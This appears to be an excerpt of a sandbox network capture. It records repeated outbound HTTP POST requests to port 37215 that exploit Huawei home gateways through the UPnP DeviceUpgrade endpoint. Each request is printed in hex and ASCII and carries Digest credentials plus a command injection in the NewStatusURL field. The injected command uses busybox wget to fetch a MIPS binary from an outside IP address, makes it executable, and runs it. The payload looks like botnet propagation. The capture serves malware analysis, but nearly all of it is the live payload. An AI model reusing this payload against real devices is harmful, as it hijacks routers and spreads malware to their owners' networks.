                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:45.530241966 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:06.265672922 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:45.176516056 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                350192.168.2.1539578156.247.31.7637215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:26.985352039 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:28.602616072 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:30.522639990 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:34.522598982 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:42.202233076 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:57.561831951 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
